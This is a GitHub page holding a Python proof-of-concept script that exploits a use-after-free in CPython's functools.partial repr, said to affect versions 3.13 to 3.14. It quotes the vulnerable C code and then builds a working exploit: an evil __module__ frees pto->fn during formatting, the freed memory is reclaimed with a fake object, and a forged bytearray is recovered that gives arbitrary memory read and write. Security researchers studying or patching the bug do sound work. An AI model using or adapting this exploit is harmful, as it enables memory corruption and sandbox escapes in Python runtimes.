-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathpartial_bug.py
More file actions
102 lines (85 loc) · 3.05 KB
/
partial_bug.py
File metadata and controls
102 lines (85 loc) · 3.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
"""
Author: @Nico-Posada
Bug Credits: @Nico-Posada
"""
# TLDR: Some format string specifiers can call python code and we can use that to
# cause a controlled object to be freed before it's done being used
# Tested to work on 3.13.0, 3.13.1, 3.14.0
# Here is the vulnerable code as of 3.14.0
# https://github.com/python/cpython/blob/v3.14.0/Modules/_functoolsmodule.c#L607-L671
"""
static PyObject *
partial_repr(PyObject *self)
{
/* snip */
mod = PyType_GetModuleName(Py_TYPE(pto));
if (mod == NULL) {
goto error;
}
name = PyType_GetQualName(Py_TYPE(pto));
if (name == NULL) {
Py_DECREF(mod);
goto error;
}
result = PyUnicode_FromFormat("%S.%S(%R%U)", mod, name, pto->fn, arglist); // <--- uses `mod`, `name`, and `pto->fn` without
// incrementing the refcounts beforehand
Py_DECREF(mod);
Py_DECREF(name);
Py_DECREF(arglist);
done:
Py_ReprLeave(self);
return result;
error:
Py_DECREF(arglist);
Py_ReprLeave(self);
return NULL;
}
"""
# So the plan here is to create a `partial` subclass with a __module__ that can run python code when a function calls `str` on it.
# From there, we can abuse the `__setstate__` function to overwrite pto->fn which will leave a dangling pointer in the format string arg (the original pto->fn has been freed).
# Finally, we reclaim the freed memory with data for a fake object that includes an evil bytearray object in one of its slots. We give this object
# a __repr__ function to be able to recover that evil bytearray object once the format string tries calling repr on it (%R fmt).
from common import evil_bytearray_obj, p_long
from functools import partial
class evil_str:
def __str__(self):
global p, _ref
# we just want to set a valid state so pto->fn gets overwritten
p.__setstate__((print, (), None, None))
# the original pto->fn has been overwritten, so reclaim the freed memory with our fake obj
_ref = fake_obj.ljust(SIZE)
return "bonk"
class evil_partial(partial):
__module__ = evil_str()
# we use a bytes subclass here so we can easily control allocation size
class evil_bytes(bytes):
def __call__(self, *args):
return
# if the exploit fails it'll call this repr func rather than the `catch` one
def __repr__(self):
return "failed"
# will be used to retrieve our fake bytearray object after performing the exploit
class catch:
__slots__ = ("mem",)
def __repr__(self):
global mem
mem = self.mem
return "x"
# see ./common/common.py for evil bytearray obj explanation
fake_ba, ba_addr = evil_bytearray_obj()
# fake object with the fake bytearray in the first slot
fake_obj = (
p_long(0x123456) +
p_long(id(catch)) +
p_long(ba_addr)
)
SIZE = 0x100
p = evil_partial(evil_bytes(SIZE - 0x18), 1, 2)
mem = None
'%r' % p # trigger bug
if mem is None:
exit("failed")
print(type(mem))
print(hex(len(mem)))
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100